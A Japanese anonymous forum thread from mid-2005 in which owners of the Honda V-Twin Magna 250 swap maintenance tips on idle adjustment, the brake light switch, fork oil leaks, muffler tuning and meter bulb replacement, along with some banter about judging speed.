新車買ってから、まだ2週間くらいなんで多分大丈夫だと思う・・けど、どうなんだろ。
とりあえず、チョーク引いてる時間をちょっと長くしてみます。
791 ：７７４ＲＲ：2005/06/27(月) 22:43:32 ID:093qgfN5
このバイクダサくない？
792 ：７７４ＲＲ：2005/06/27(月) 22:56:16 ID:+CIUpTpx
>>787
どこのねじを回せばいいんでしょうか。
どこのねじを回せばいいんでしょうか。
>>792
マグナの回転数あげるネジはどこにあったっけなぁ。
多分車体の左側の前のほうにあったと思う。具体的に言うとチョークの近く。
パッと見普通のネジだけど、まわすとエンジン回転数が上下するやつがあるの。
それを回してやるとびっくりするくらいエンジン回転が高まるよ。あんまりあげすぎると暴走して事故るからホドホドにね。
ググれば写真付きの解説とかすぐ見つかると思うよ。
マグナの回転数あげるネジはどこにあったっけなぁ。
多分車体の左側の前のほうにあったと思う。具体的に言うとチョークの近く。
パッと見普通のネジだけど、まわすとエンジン回転数が上下するやつがあるの。
それを回してやるとびっくりするくらいエンジン回転が高まるよ。あんまりあげすぎると暴走して事故るからホドホドにね。
ググれば写真付きの解説とかすぐ見つかると思うよ。
おお、普通に更新おしわすれて投稿したった・・
ちなみに住んでる場所にもよるだろうけど、暖気が足りないってのはほぼありえないと思うよ。もう７月入るし。
新車は部品類は新品だけど、調整がややバラバラだから、自分用に一度調整しないと本当の調子でないよ。
できれば
・ハンドルの高さ調節
・ブレーキ・クラッチレバーの高さ調節
・シフトペダルの位置調節
・ブレーキの重さ調節
・回転数調節
・サスペンションの調節
などはやったほうがいい。わからなければメンテ本とか買えば多分全部載ってる。
例えば５０ｋｇの人と１２０ｋｇの人じゃバイクの負担がかなり変わってくるから、自分の体格、性格に合わせた調節が必要になる。
基本的に初期付属の工具で全部できるから、休日にでもバイクの本買って挑戦してみるといいよ。
新車は部品類は新品だけど、調整がややバラバラだから、自分用に一度調整しないと本当の調子でないよ。
できれば
・ハンドルの高さ調節
・ブレーキ・クラッチレバーの高さ調節
・シフトペダルの位置調節
・ブレーキの重さ調節
・回転数調節
・サスペンションの調節
などはやったほうがいい。わからなければメンテ本とか買えば多分全部載ってる。
例えば５０ｋｇの人と１２０ｋｇの人じゃバイクの負担がかなり変わってくるから、自分の体格、性格に合わせた調節が必要になる。
基本的に初期付属の工具で全部できるから、休日にでもバイクの本買って挑戦してみるといいよ。
797 ：７７４ＲＲ：2005/06/28(火) 02:46:08 ID:U4ktzJ3d
ハンドルはしろーとがやると事故に直結するからいじらんほうが・・・
朝起きたら俺のマグナが悪戯されて倒されてた。
ちょっと見たところサイドカバーが割れた
真ん中からぱっくりと割れてたから修理もちょっと不可能っぽいし
オリジナルカラー塗装しているからもう同じ色でないよorz
ちょっと見たところサイドカバーが割れた
真ん中からぱっくりと割れてたから修理もちょっと不可能っぽいし
オリジナルカラー塗装しているからもう同じ色でないよorz
799 ：７７４ＲＲ：2005/06/28(火) 12:20:23 ID:uHxyFnXG
>>798
.,Å､
.r-‐i'''''''''''i''''‐-､
o| ｏ! .ｏ i ｏ !o
.|＼__|｀‐´｀‐／|__/|
|_, ─''''''''''''─ ,､ / _
／ ＼
/ ／ i
| ● （__人_） ● | キングカワイソス・・・
! ﾉ
丶_ ノ
.,Å､
.r-‐i'''''''''''i''''‐-､
o| ｏ! .ｏ i ｏ !o
.|＼__|｀‐´｀‐／|__/|
|_, ─''''''''''''─ ,､ / _
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| ● （__人_） ● | キングカワイソス・・・
! ﾉ
丶_ ノ
800 ：７７４ＲＲ：2005/06/28(火) 15:56:19 ID:U4ktzJ3d
リアブレーキ踏んでからブレーキランプが点くまでの調整ってどこでできますか？
ちょっと見た感じでは見つからないのでもしかしてドラムのなかっすかね？
かなり踏み込まないとランプが点かないんすよ…
ちょっと見た感じでは見つからないのでもしかしてドラムのなかっすかね？
かなり踏み込まないとランプが点かないんすよ…
>>801
右リアショックの裏あたりに黒い手で回せるネジ付き部品がある
ネジを締め込めばランプが点きやすくなるよ
つか、それがリアブレーキランプのスイッチそのもの
簡単だからネジを締めたり緩めたりと調整しながら仕組みを理解してね
ネジが固着してなかなか回らないときは、スイッチ本体をしっかり手で支えながら
付属工具のプライヤーで回せばいいと思う
本体がフレームにしっかり固定されてない部品だから、ちゃんと手で支えないとスイッチに繋がるコードや
端子をねじ切ったり傷める恐れあり
ちょっと狭苦しいとこに付いてるから怪我しないようにゆっくりやろう
汚れるし怪我防止に軍手とかするとベストかも
右リアショックの裏あたりに黒い手で回せるネジ付き部品がある
ネジを締め込めばランプが点きやすくなるよ
つか、それがリアブレーキランプのスイッチそのもの
簡単だからネジを締めたり緩めたりと調整しながら仕組みを理解してね
ネジが固着してなかなか回らないときは、スイッチ本体をしっかり手で支えながら
付属工具のプライヤーで回せばいいと思う
本体がフレームにしっかり固定されてない部品だから、ちゃんと手で支えないとスイッチに繋がるコードや
端子をねじ切ったり傷める恐れあり
ちょっと狭苦しいとこに付いてるから怪我しないようにゆっくりやろう
汚れるし怪我防止に軍手とかするとベストかも
805 ：７７４ＲＲ：2005/06/29(水) 12:39:24 ID:S9SKYtJf
今日自分のマグナがフロントフォークのオイル漏れで入院しますた…。
中古車の現車確認で最初見たときにもオイル漏れはしてたんだけれども、
そこはバッチリ直しますんで～、って言われて買ったのにな…orz
納車後半年弱しか経過してないのに交換したオイルシールとかってダメになるもんなんですか？
ちなみに通勤、遊びで月600km程度走って、無茶な運転はしてませんでした。
店に整備車両が立て込んでるとかで修理に二週間かかるらしいし、早く帰ってこーい！
中古車の現車確認で最初見たときにもオイル漏れはしてたんだけれども、
そこはバッチリ直しますんで～、って言われて買ったのにな…orz
納車後半年弱しか経過してないのに交換したオイルシールとかってダメになるもんなんですか？
ちなみに通勤、遊びで月600km程度走って、無茶な運転はしてませんでした。
店に整備車両が立て込んでるとかで修理に二週間かかるらしいし、早く帰ってこーい！
すんませんsage忘れました…orz
807 ：７７４ＲＲ：2005/06/29(水) 17:16:44 ID:623+uCoG
>>805
フロントフォークのオイル漏れってのは、バイクでは代表的なトラブルのひとつな訳で
それの修理代が結構かさむので、そこで手放す事が多々ある
ちなみに、ちゃんと直そうとすると左右で５～８万くらいはかかる
この場合新品同様なので、次に壊れるまでは５年とか４万キロとかかかる
交換部品をけちって直すと、半額以下で収まるけれど、この場合２年くらいしかもたない
さて、そこで問題になるのが、どっちがわからもれてて、ソレを直したのかなのだが
かたっぽがダメってことは、近々反対側もダメになるが、中古車の場合、指摘箇所以外は
現状渡しになるので、もれてなかった側なら文句はいえない
同じ側だったら、状況しだいだが、基本的にインナー（中の棒）がさびる事で
ヤスリのようにちょっとづつ削っていくものなので、それの処理がしっかりされて
ないと、またすぐ壊れる
そういう訳で、週に１回は中の棒を磨こう
バイク屋に聞けばお勧めのケミカル教えてくれるぞ
俺はなんとかって、車のタイヤ用ワックス？を使ってるが、名前が思い出せないのでかかない
フロントフォークのオイル漏れってのは、バイクでは代表的なトラブルのひとつな訳で
それの修理代が結構かさむので、そこで手放す事が多々ある
ちなみに、ちゃんと直そうとすると左右で５～８万くらいはかかる
この場合新品同様なので、次に壊れるまでは５年とか４万キロとかかかる
交換部品をけちって直すと、半額以下で収まるけれど、この場合２年くらいしかもたない
さて、そこで問題になるのが、どっちがわからもれてて、ソレを直したのかなのだが
かたっぽがダメってことは、近々反対側もダメになるが、中古車の場合、指摘箇所以外は
現状渡しになるので、もれてなかった側なら文句はいえない
同じ側だったら、状況しだいだが、基本的にインナー（中の棒）がさびる事で
ヤスリのようにちょっとづつ削っていくものなので、それの処理がしっかりされて
ないと、またすぐ壊れる
そういう訳で、週に１回は中の棒を磨こう
バイク屋に聞けばお勧めのケミカル教えてくれるぞ
俺はなんとかって、車のタイヤ用ワックス？を使ってるが、名前が思い出せないのでかかない
808 ：７７４ＲＲ：2005/06/29(水) 21:58:37 ID:gwV0i2gu
サイドバッグをつけたいのですが、
タンデムに支障はありませんか？
タンデムに支障はありませんか？
アプロダ見つけのでUPしました
http://2st.dip.jp/futaba/src/1120050335509.jpg
http://2st.dip.jp/futaba/src/1120050335509.jpg
811 ：７７４ＲＲ：2005/06/30(木) 09:09:22 ID:+ORQlqJB
ミラーの修理をそろそろいかねばと思っていたら、警察に捕まえられました。
尾灯がついてない。初心者期間だからあと二点で一年をすごさないといけないらしい、はじめて知った。
で、尾灯って修理どうなるんですかねー？配線かランプ自体かわかる方法とか何円ぐらいかなんでもいいので教えてください。
貧乏学生でして、、
尾灯がついてない。初心者期間だからあと二点で一年をすごさないといけないらしい、はじめて知った。
で、尾灯って修理どうなるんですかねー？配線かランプ自体かわかる方法とか何円ぐらいかなんでもいいので教えてください。
貧乏学生でして、、
>>801 かなり踏み込んだところで点くぐらいが調度良いと思うよ。
軽く踏んだだけで点くようにしとくと、パカパカ点きすぎて
後続車から見るとかなりｳｻﾞｰ。ってﾊﾞｲｸ屋のｵｻｰﾝが言ってた。
>>785 ｵﾒ！ 気になってたんよ。仕事ｶﾞﾝｶﾞﾚ！
軽く踏んだだけで点くようにしとくと、パカパカ点きすぎて
後続車から見るとかなりｳｻﾞｰ。ってﾊﾞｲｸ屋のｵｻｰﾝが言ってた。
>>785 ｵﾒ！ 気になってたんよ。仕事ｶﾞﾝｶﾞﾚ！
814 ：７７４ＲＲ：2005/06/30(木) 13:46:09 ID:+ORQlqJB
>>813
さっき修理してもらいました。ミラーはともかく、尾灯は300円で技術料が800円、、。
交換ならおれでもできるよ、、。クラッチホルダーとミラーは自分でできる気がしないけど、、。
そろそろバイクのメンテナンスの本でも買って、勉強しまつ、
さっき修理してもらいました。ミラーはともかく、尾灯は300円で技術料が800円、、。
交換ならおれでもできるよ、、。クラッチホルダーとミラーは自分でできる気がしないけど、、。
そろそろバイクのメンテナンスの本でも買って、勉強しまつ、
>ミラーは自分でできる気がしないけど、、。
ヒント：ネジ
ヒント：ネジ
816 ：７７４ＲＲ：2005/06/30(木) 17:08:06 ID:oodIaOhn
普通買った所なら交換無料でしょ・・・ってか、電球１個交換するくらい
自分でやるべし
自分でやるべし
>>812
いまは最後にギュッとふむとこでしかつかないのです。。。
気づいたのもリア踏んで停まってるときに後ろにトラックが来てグリルに写ってるの見てだから
最初はタマ切れかと思ってフロント握ったら点くからあれって思いっきりふんだら点いた・・・
とりあえず停まってるときはつく程度に調整しまする。
いまは最後にギュッとふむとこでしかつかないのです。。。
気づいたのもリア踏んで停まってるときに後ろにトラックが来てグリルに写ってるの見てだから
最初はタマ切れかと思ってフロント握ったら点くからあれって思いっきりふんだら点いた・・・
とりあえず停まってるときはつく程度に調整しまする。
マグナの専門書探してるんだけど、全然見つからないorz
ドラッグスターのなら、いくらでも置いてあるんだけどな～・・
そもそも、マグナの専門書なんて出版されてないんだろうか？
ドラッグスターのなら、いくらでも置いてあるんだけどな～・・
そもそも、マグナの専門書なんて出版されてないんだろうか？
819 ：７７４ＲＲ：2005/06/30(木) 21:10:54 ID:06Pgvw+b
中古のマグナを買ったんですが、
アクセルが戻りにくくて、開けたあと自分で戻してるんですが
マグナってそういうバイクなんでしょうか？
戻りにくい場合はどうしたらいいのだろう。
アクセルが戻りにくくて、開けたあと自分で戻してるんですが
マグナってそういうバイクなんでしょうか？
戻りにくい場合はどうしたらいいのだろう。
820 ：７７４ＲＲ：2005/06/30(木) 22:01:09 ID:06Pgvw+b
エンジン切ってアクセル回したり戻したりしてたら直りました。
821 ：７７４ＲＲ：2005/06/30(木) 22:35:34 ID:s9+Ylu+k
>>818あるよ
>>807
最初に見たときは両側から漏れてたんすよ…。
だから両側共に直してくれたはずなんですけどね…。
で、今回オイルが漏れてきたのは右側のフロントフォークでした。
でも一応両側直してもらうことにしたんですけど、料金が大体15000円
かかるって事だったので、多分オイルシールの交換だけだと思うんですけど
ちゃんとオーバーホールしてもらったほうがいいのかなぁ。
とりあえず、戻ってきたらインナーチューブを丹念に磨くことにします。
それでもまた半年でオイル漏れてきたらどうしようorz
最初に見たときは両側から漏れてたんすよ…。
だから両側共に直してくれたはずなんですけどね…。
で、今回オイルが漏れてきたのは右側のフロントフォークでした。
でも一応両側直してもらうことにしたんですけど、料金が大体15000円
かかるって事だったので、多分オイルシールの交換だけだと思うんですけど
ちゃんとオーバーホールしてもらったほうがいいのかなぁ。
とりあえず、戻ってきたらインナーチューブを丹念に磨くことにします。
それでもまた半年でオイル漏れてきたらどうしようorz
買ったところへ持っていけば少しは対応違うかもしれませんよー？
825 ：７７４ＲＲ：2005/07/01(金) 15:02:37 ID:7UNKMut1
そんなに安い修理は期待できないなぁ
後どれくらい乗るかでは、交換考えた方がいいかもよ？
そもそも左右両方オイルが漏れるってのは、よっぽど走ったか、古いか、
さびるほど乗らなくて、時々そのまま乗ってたかのどれか
つまり、とても状態のよろしくないバイクだと思われる
２年乗る気なら交換しましょ
たぶん６万くらいだと思うから
後どれくらい乗るかでは、交換考えた方がいいかもよ？
そもそも左右両方オイルが漏れるってのは、よっぽど走ったか、古いか、
さびるほど乗らなくて、時々そのまま乗ってたかのどれか
つまり、とても状態のよろしくないバイクだと思われる
２年乗る気なら交換しましょ
たぶん６万くらいだと思うから
826 ：７７４ＲＲ：2005/07/01(金) 15:49:52 ID:7UNKMut1
しつこいけれど
オーバーホール・・・つか主だった部品は使いまわしだと、４万数千ってところかな？
年式、走行距離、買った値段も考えてね
バイクは消耗品が多いから、中古は色々と後から後から金かかって、
車体を安くかっても修理代がだいぶ高くつくことあるから、怖い
買って数ヶ月で、チェーン、タイヤ、スプロケにブレーキパット交換
で泣きを見た人もいるし、修理暦ありを言われないで買って、後で書類みたら
書いてあったとか言うケースもあるし、これは４輪だけど・・・カーポイン○湘南店
オーバーホール・・・つか主だった部品は使いまわしだと、４万数千ってところかな？
年式、走行距離、買った値段も考えてね
バイクは消耗品が多いから、中古は色々と後から後から金かかって、
車体を安くかっても修理代がだいぶ高くつくことあるから、怖い
買って数ヶ月で、チェーン、タイヤ、スプロケにブレーキパット交換
で泣きを見た人もいるし、修理暦ありを言われないで買って、後で書類みたら
書いてあったとか言うケースもあるし、これは４輪だけど・・・カーポイン○湘南店
828 ：７７４ＲＲ：2005/07/02(土) 22:17:30 ID:6buFz52Y
メインタンクブロー！！
829 ：７７４ＲＲ：2005/07/03(日) 06:29:31 ID:7/n8ELv9
>>828(￣▽￣;)
831 ：７７４ＲＲ：2005/07/03(日) 20:14:08 ID:7GgH/oU9
DragStar250とV-TWIN MAGNAってどっちが速い？
隼のほうが速いよ
834 ：７７４ＲＲ：2005/07/03(日) 23:50:59 ID:W9KUAMf7
今日マグナ納車ｼﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!
契約してから一ヶ月も待たされてやっとですよええ
このバイク信号待ちで1速に入らない事があるんですが仕様ですか？
契約してから一ヶ月も待たされてやっとですよええ
このバイク信号待ちで1速に入らない事があるんですが仕様ですか？
車体をちょっと前後にゆらせ
ちょっとだけ走るとガシャンってギア入るから、そしたら改めてギア下げる
837 ：７７４ＲＲ：2005/07/04(月) 02:02:02 ID:d8tRgwuw
１速に入らんというやつに、どーやって走るか教えておくれ
２速でもつかえと？
あるいは押してあるけと？
２速でもつかえと？
あるいは押してあるけと？
N→1にする時にスカスカって、なかなかカコンと入らない感じ？
それなら私もある。ギアをダウンする時なら5→4,4→3でも。
恐らく中途半端なところにギアがいってるような状態と思われ。
一度半クラあたりまで戻すとカチャっと音がして正常に戻ります。
クラッチ戻しすぎるとエンストしますよ。
ショップ持ってったら
足で中途半端に抑えてるんじゃないの？って言われた。
それなら私もある。ギアをダウンする時なら5→4,4→3でも。
恐らく中途半端なところにギアがいってるような状態と思われ。
一度半クラあたりまで戻すとカチャっと音がして正常に戻ります。
クラッチ戻しすぎるとエンストしますよ。
ショップ持ってったら
足で中途半端に抑えてるんじゃないの？って言われた。
>>834
新車？新車だったら俺のも最初の頃はｷﾞｱ入りにくかったけど、ある程度距離走ったら解消されたよ。
新車？新車だったら俺のも最初の頃はｷﾞｱ入りにくかったけど、ある程度距離走ったら解消されたよ。
841 ：７７４ＲＲ：2005/07/04(月) 12:05:16 ID:d8tRgwuw
>>838
やっぱ犯倉だよね
しかし、４万走っても時々なるけどなぁ
操作が弱いのか、シフトアップのときもアップしてアクセル開けると
ガチャンと音がして元のギアに戻るし
最初はびっくりしたけれど、３度目あたりからは反射的にクラッチ握れる
ようになって馬鹿みたいな空ぶかしバイクですむようになった
同じ道走ってるファイアブレドのにーちゃんは、Ｎから１速入れるときには
かかとでレバー蹴りつけてるし
やっぱ犯倉だよね
しかし、４万走っても時々なるけどなぁ
操作が弱いのか、シフトアップのときもアップしてアクセル開けると
ガチャンと音がして元のギアに戻るし
最初はびっくりしたけれど、３度目あたりからは反射的にクラッチ握れる
ようになって馬鹿みたいな空ぶかしバイクですむようになった
同じ道走ってるファイアブレドのにーちゃんは、Ｎから１速入れるときには
かかとでレバー蹴りつけてるし
ミッション、シフトペダルはある程度なら少々強めに蹴る感じでもそう壊れんだろ
思い切りやっても大丈夫
膝下のみの爪先のキック力なんてたかが知れてるし
さすがに体重かけたり、腿からの力で蹴ったらヤバいと思うが・・・
ただ、慣らし運転中は乱暴はいかん
丁寧にやるべし
思い切りやっても大丈夫
膝下のみの爪先のキック力なんてたかが知れてるし
さすがに体重かけたり、腿からの力で蹴ったらヤバいと思うが・・・
ただ、慣らし運転中は乱暴はいかん
丁寧にやるべし
［V-TWIN MAGNA400 classic］
発売オメage(*´ -`)ｙ-。ｏＯ！
発売オメage(*´ -`)ｙ-。ｏＯ！
>>843
ソースは?
ソースは?
845 ：７７４ＲＲ：2005/07/05(火) 15:21:35 ID:wq8gbN6O
>>843
まじで？
まじで？
クラシックって、シャドーと被らねえか
847 ：７７４ＲＲ：2005/07/05(火) 19:14:45 ID:qWyKUs8Z
マグナに２in１のバズーカマフラーを直・管でつけたんですが、エンジンの設定かなんかもかえたほうがいいですか？？
>>847
エンジンの設定とか言っている時点でもう少し勉強しましょう
抜けが良くなるってことは吸気側のバランスも変更しないといけないって事
もしノーマルのエアクリで吸気が間に合わないなら吸気効率のいいエアクリに変えないといけないし
キャブもエアーをたくさん吸ってたくさん吐き出す設定にしなければいけない
キャブはジェットのサイズを変えたりクリップのピンの位置を変えたりとかするだけで
かなりのパターンが出るから本気で設定を出そうとしたらめちゃくちゃ大変
あと地域にもよるけど道交法変わってからあんまりうるさいとパトカーや白バイに切符切られるので注意な
エンジンの設定とか言っている時点でもう少し勉強しましょう
抜けが良くなるってことは吸気側のバランスも変更しないといけないって事
もしノーマルのエアクリで吸気が間に合わないなら吸気効率のいいエアクリに変えないといけないし
キャブもエアーをたくさん吸ってたくさん吐き出す設定にしなければいけない
キャブはジェットのサイズを変えたりクリップのピンの位置を変えたりとかするだけで
かなりのパターンが出るから本気で設定を出そうとしたらめちゃくちゃ大変
あと地域にもよるけど道交法変わってからあんまりうるさいとパトカーや白バイに切符切られるので注意な
850 ：７７４ＲＲ：2005/07/06(水) 03:05:30 ID:XKQi9zXl
848、849ありがとうございます(>_<)
ちなみになにもしないで走ってるとどうなりますか？？
あと最低限なにをやればいいか教えてください。
ちなみになにもしないで走ってるとどうなりますか？？
あと最低限なにをやればいいか教えてください。
851 ：７７４ＲＲ：2005/07/06(水) 08:05:29 ID:mQRzBKLz
>>850
まず自分の体にたとえてみよう
自分が吸う息よりも吐き出す息のほうが多かったらどうなる？
ある程度の抜けすぎを抑えるためにインナーサイレンサーを入れる。
抜けすぎをある程度抑えられるのと警察関係に捕まえられるのを抑えられる
インナーサイレンサーを入れてもまだ抜けがよすぎると思うから
そのまま走っているとエンジンブレーキを掛けるたびにパンパンうるさいだろうから
キャブのアイドルスクリューを調節する
まず自分の体にたとえてみよう
自分が吸う息よりも吐き出す息のほうが多かったらどうなる？
ある程度の抜けすぎを抑えるためにインナーサイレンサーを入れる。
抜けすぎをある程度抑えられるのと警察関係に捕まえられるのを抑えられる
インナーサイレンサーを入れてもまだ抜けがよすぎると思うから
そのまま走っているとエンジンブレーキを掛けるたびにパンパンうるさいだろうから
キャブのアイドルスクリューを調節する
853 ：７７４ＲＲ：2005/07/06(水) 22:11:17 ID:ua2isui2
今日はサイドバッグを買いました。
着けてみてなんとなく「マグナにはあんまり似合わないな」と思った。
ない方がカッコいいけど積載スペースがないと不便だしなぁ。
着けてみてなんとなく「マグナにはあんまり似合わないな」と思った。
ない方がカッコいいけど積載スペースがないと不便だしなぁ。
昨日
中古で購入したのですが、マグナ250はメーターランプ付いていないのでしょうか？ 夜メーター見えません
OT￣￣7____(´・ω・`)
中古で購入したのですが、マグナ250はメーターランプ付いていないのでしょうか？ 夜メーター見えません
OT￣￣7____(´・ω・`)
857 ：７７４ＲＲ：2005/07/07(木) 02:31:36 ID:P5mS1+Q6
＞８５５
俺のんも一緒です。
パンパン鳴る。
パンパン・・・、なんかヤラシイと思うのは俺だけ？
俺のんも一緒です。
パンパン鳴る。
パンパン・・・、なんかヤラシイと思うのは俺だけ？
858 ：７７４ＲＲ：2005/07/07(木) 08:04:08 ID:E+fOCc1W
>>855
>>857
パンパン言うという事は混合気が薄すぎてエンジンシリンダー内部で
燃焼しきれなかった混合気がエキパイやマフラーに溜まったものが
爆発してパンパンなっている事がほとんどです。
エンジンにもマフラーにも良くはありません。
ほとんどの場合マフラーを交換して抜けが良くなった後に起こります。
軽いものならエアスクリューを調整するだけでよくなる場合もあります。
しっかりあわせるならキャブの調整が必要です。ついでに同期も取り直したらいいと思います。
>>856
買ってすぐだったら買った店に持っていって初期不良扱いで
電球交換してもらってもok
メーターランプの色を自分の好きな色に変えるチャンスだと思うなら
タンク上のメーターカバーが4つの6角ネジで止まっているからそれを外して裏を見れば
真ん中あたりに2本の配線が出ている黒いゴムキャップが付いたウェッジ球ソケットが刺さっているから
それを抜いて交換すればいい。
少しでもバッテリーに優しくしたいとか思うならLEDのウェッジ球を使えばいいし
今なら色もかなり多いから好きな色をつければいい
>>857
パンパン言うという事は混合気が薄すぎてエンジンシリンダー内部で
燃焼しきれなかった混合気がエキパイやマフラーに溜まったものが
爆発してパンパンなっている事がほとんどです。
エンジンにもマフラーにも良くはありません。
ほとんどの場合マフラーを交換して抜けが良くなった後に起こります。
軽いものならエアスクリューを調整するだけでよくなる場合もあります。
しっかりあわせるならキャブの調整が必要です。ついでに同期も取り直したらいいと思います。
>>856
買ってすぐだったら買った店に持っていって初期不良扱いで
電球交換してもらってもok
メーターランプの色を自分の好きな色に変えるチャンスだと思うなら
タンク上のメーターカバーが4つの6角ネジで止まっているからそれを外して裏を見れば
真ん中あたりに2本の配線が出ている黒いゴムキャップが付いたウェッジ球ソケットが刺さっているから
それを抜いて交換すればいい。
少しでもバッテリーに優しくしたいとか思うならLEDのウェッジ球を使えばいいし
今なら色もかなり多いから好きな色をつければいい
860 ：７７４ＲＲ：2005/07/07(木) 18:12:13 ID:U9RergPB
>>859ウェッジ球ですね？今からホームセンター行って来るんで探してきます(*´ -`)ｙ-。ｏＯありがとうございました
↑メーターランプの話です。
>>863
カバー外してメーターの中央付近
カーバーを外した状態だと黒いゴム上のソケットしか見えない
ゴム状のソケットから2本のコードが出ているのですぐにわかると思うから
ゴム状の部分を持って下に引っ張ればソケットが出てくる
カバー外してメーターの中央付近
カーバーを外した状態だと黒いゴム上のソケットしか見えない
ゴム状のソケットから2本のコードが出ているのですぐにわかると思うから
ゴム状の部分を持って下に引っ張ればソケットが出てくる
865 ：メーターランプツイター！！！：2005/07/08(金) 13:49:36 ID:L8F9RFIt
>>859タソ、この前のメーターランプ房の>>856でつ。
今ホムセンでウェッジ球を買ってきて、早速交換しました！
今、昼ですがメーターを手で隠すとメーターがボンヤリ光ってます（感動）
これで夜間走行時も速度が確認出来ます。ありがとうございますた(*´ -`)ｙ-。ｏＯ
今ホムセンでウェッジ球を買ってきて、早速交換しました！
今、昼ですがメーターを手で隠すとメーターがボンヤリ光ってます（感動）
これで夜間走行時も速度が確認出来ます。ありがとうございますた(*´ -`)ｙ-。ｏＯ
866 ：７７４ＲＲ：2005/07/08(金) 14:00:34 ID:dCsmARok
そういや、走行中に速度確認したことなんて殆どないな・・・
867 ：７７４ＲＲ：2005/07/08(金) 14:55:16 ID:i9DuG2vI
DQN発見
868 ：７７４ＲＲ：2005/07/08(金) 15:48:36 ID:dCsmARok
え～・・・
流れがありゃそれに乗るし、大体どのくらい出てるかくらいわかんべ？
流れがありゃそれに乗るし、大体どのくらい出てるかくらいわかんべ？
確かにタンクオンメーターは視線の移動量が大きいから見ていると逆に危ない気がする
周りの車の流れに添って走ったほうが安全だと思うぽ
周りの車の流れに添って走ったほうが安全だと思うぽ
870 ：７７４ＲＲ：2005/07/08(金) 17:03:24 ID:5yVag5hu
んだんだ(*´ -`)ｙ-。ｏＯ
たいていはチラ見するもんだよ。
まぁ、車がマグナだけって人はその習慣は起きにくそうだね。
まぁ、車がマグナだけって人はその習慣は起きにくそうだね。
872 ：７７４ＲＲ：2005/07/09(土) 01:59:22 ID:w1nUi8yv
誰か答えておくれ。
男で２５０ＣＣのアメリカンに乗るってのは
恥ずかしいことなのか？
男で２５０ＣＣのアメリカンに乗るってのは
恥ずかしいことなのか？
873 ：７７４ＲＲ：2005/07/09(土) 02:17:04 ID:/+vCtdIy
誰かマグナ安く売ってくれ。
と、こんなところでもマグナを欲しい言うてる俺は男です。アメ250カコワルクナイ。
と、こんなところでもマグナを欲しい言うてる俺は男です。アメ250カコワルクナイ。
>>メーター見ない
これは「見ない」ではなくてタンクオンであろうとなかろうとメーターを見る場合は、
走行中もずっと視界に入る位置でないと「見ることができない」ビビリ、ヘタレということだろ？
安全運転の中でパッと見て法定速度意識した速度確認もできないのかw
鼠捕りなんかに捕まっても「何キロ出てた？」の質問に答えられず、
メーターで速度を確認したことは生まれてこのかたありませんと言うつもりか？
実速度の意識もないのに何キロで流れてるかわからない「流れに乗る」なんて言葉がよく出るな
>>872
恥ずかしいかどうかは勝手な第三者の目が決めることだ
お前が良ければそれでいいじゃないか
これは「見ない」ではなくてタンクオンであろうとなかろうとメーターを見る場合は、
走行中もずっと視界に入る位置でないと「見ることができない」ビビリ、ヘタレということだろ？
安全運転の中でパッと見て法定速度意識した速度確認もできないのかw
鼠捕りなんかに捕まっても「何キロ出てた？」の質問に答えられず、
メーターで速度を確認したことは生まれてこのかたありませんと言うつもりか？
実速度の意識もないのに何キロで流れてるかわからない「流れに乗る」なんて言葉がよく出るな
>>872
恥ずかしいかどうかは勝手な第三者の目が決めることだ
お前が良ければそれでいいじゃないか
875 ：７７４ＲＲ：2005/07/09(土) 02:37:41 ID:2WUjKbaD
>>874
(゜д゜)
(゜д゜)
876 ：７７４ＲＲ：2005/07/09(土) 13:02:58 ID:ZDeM6F8g
メーターみないと大体の速度も分からんか…ｶｺｲｲな
877 ：７７４ＲＲ：2005/07/09(土) 13:40:42 ID:YYEIvCzl
ねずみとりって・・・いつから自己申告になったんだ！？
ちゃんと慣らし運転してれば、その時に速度とエンジンの鼓動の関係は覚えるから
メーター見る必要ないんだが
中古でお買いになったのかな？
少なくとも俺は、俺のバイクでなら40ｋｍで走ってるか50ｋｍで走ってるか
60ｋｍで走ってるかはわかる、わからん奴のが恥だと思うくらいに普通にわかる
50ｋｍと51ｋｍの差はわからんけど
ちゃんと慣らし運転してれば、その時に速度とエンジンの鼓動の関係は覚えるから
メーター見る必要ないんだが
中古でお買いになったのかな？
少なくとも俺は、俺のバイクでなら40ｋｍで走ってるか50ｋｍで走ってるか
60ｋｍで走ってるかはわかる、わからん奴のが恥だと思うくらいに普通にわかる
50ｋｍと51ｋｍの差はわからんけど
どっちにしろ慣らしの段階で一回はメーター見なきゃそのバイクの特性に合わせた速度を確認できないだろ？
そのバイクに慣れればそのうちわかるだろう・・・が、あんたらの脳内速度はその日の体調、
機嫌、バイクの調子、天候、道路状況にかかわらず確実に再現できるようだし、
もう必要ないならメーター取っぱらっちゃえば？
走行抵抗も減るし、バッテリーにも不可かからんぜ
プロレーサー並に運転も上手いんでしょうし、いらないでしょ？
俺は定期的に自分の感覚とメーターと合わせて確認するけどな
そのバイクに慣れればそのうちわかるだろう・・・が、あんたらの脳内速度はその日の体調、
機嫌、バイクの調子、天候、道路状況にかかわらず確実に再現できるようだし、
もう必要ないならメーター取っぱらっちゃえば？
走行抵抗も減るし、バッテリーにも不可かからんぜ
プロレーサー並に運転も上手いんでしょうし、いらないでしょ？
俺は定期的に自分の感覚とメーターと合わせて確認するけどな
879 ：７７４ＲＲ：2005/07/09(土) 17:02:57 ID:YYEIvCzl
定期的ってのがどのくらいなのかはっきりしてもらわんとな
ま、初心者のうちは頻繁に確認するのも悪くないよ
そのうちわかるようになるから
少なくとも、体調や機嫌には左右されない
意地悪問題みたいな条件じゃなきゃ、天候も道路状況もほぼ関係ないね
よほど初心者じゃないかぎり、乗りなれたバイクで自分がどれくらいで
走ってるかわからんほうが問題だと思うけどね
ま、初心者のうちは頻繁に確認するのも悪くないよ
そのうちわかるようになるから
少なくとも、体調や機嫌には左右されない
意地悪問題みたいな条件じゃなきゃ、天候も道路状況もほぼ関係ないね
よほど初心者じゃないかぎり、乗りなれたバイクで自分がどれくらいで
走ってるかわからんほうが問題だと思うけどね
880 ：７７４ＲＲ：2005/07/09(土) 17:06:56 ID:2WUjKbaD
こんな流れになったのもメーターランプの質問した俺が…俺が悪いんだな(´・ω・`) スマソ
881 ： ：2005/07/09(土) 17:39:52 ID:w1nUi8yv
マグナの良いところ、悪いところ教えて。
過去ログ読めボケ
マグナ来週納車予定なんだけどメットで迷ってる。
夏はイージーライダーズのダックテイルあたりにして、
寒くなってきたらフルフェイスにしようかと思ってます。
マグナがシルバーなんでアライのGP-5X 白か、
昭栄Z-4 白あたりを考えてるんだけど、
使ったことある人とかいたら感想とかあればお願いします。
納車待ち遠しくて最近寝不足だよ・・
